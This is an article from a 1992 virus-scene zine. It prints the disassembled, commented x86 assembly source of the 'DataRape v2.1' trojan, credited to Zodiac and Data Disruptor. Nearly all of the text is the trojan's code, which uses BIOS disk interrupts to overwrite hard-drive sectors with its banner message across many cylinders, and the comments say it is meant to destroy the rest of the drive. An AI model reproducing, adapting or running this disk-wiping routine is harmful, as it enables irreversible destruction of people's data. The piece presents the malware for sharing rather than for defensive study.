ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92 Article Title: Data Rape v2.1 Trojan Author: Admiral Bailey ;=--- ; ; DataRape 2.1 Trojan ; ; Disassembled By Admiral Bailey [YAM '92] ; June 25, 1992 ; ; The writers of this virus are Zodiac and Data Disruptor ; ; Notes:Just a regular trojan. This one puts the messege into the ; sector it writes. Even though its not advanced it gets the ; job done. ; ;=--------- seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h datarap2 proc far start: jmp begin messege db '----------------------------',0Dh,0ah db ' DataRape v2.1 ',0dh,0ah db ' Written by Zodiac and ',0dh,0ah db ' Data Disruptor ',0dh,0ah copyright db '(c) 1991 RABID International',0dh,0ah db '----------------------------',0dh,0ah sector db 1 data_3 db 0 begin: mov ah,0Bh ; write sectors mov al,45h ; sectors to write to mov bx,offset messege ; writes this messege mov ch,0 ; clear out these mov cl,0 mov dh,0 mov dl,80h ; drive int 13h jnc write_loop ; nomatter what jump to jc write_loop ; the write loop and jmp short write_loop ; destroy rest of drive nop compare: mov sector,1 ; start writing at sec1 inc data_3 jmp short loc_4 db 90h write_loop: cmp data_3,28h jae quit cmp sector,9 ja compare loc_4: mov ah,3 ; write sec's from mem mov al,9 ; # mov bx,offset messege ; this is in mem mov ch,data_3 ; cylinder mov cl,sector ; sector mov dh,0 ; drive head mov dl,2 ; drive int 13h inc sector ; move up a sector jmp short write_loop db 73h, 02h, 72h, 00h quit: mov ax,4C00h int 21h ; now quit datarap2 endp seg_a ends end start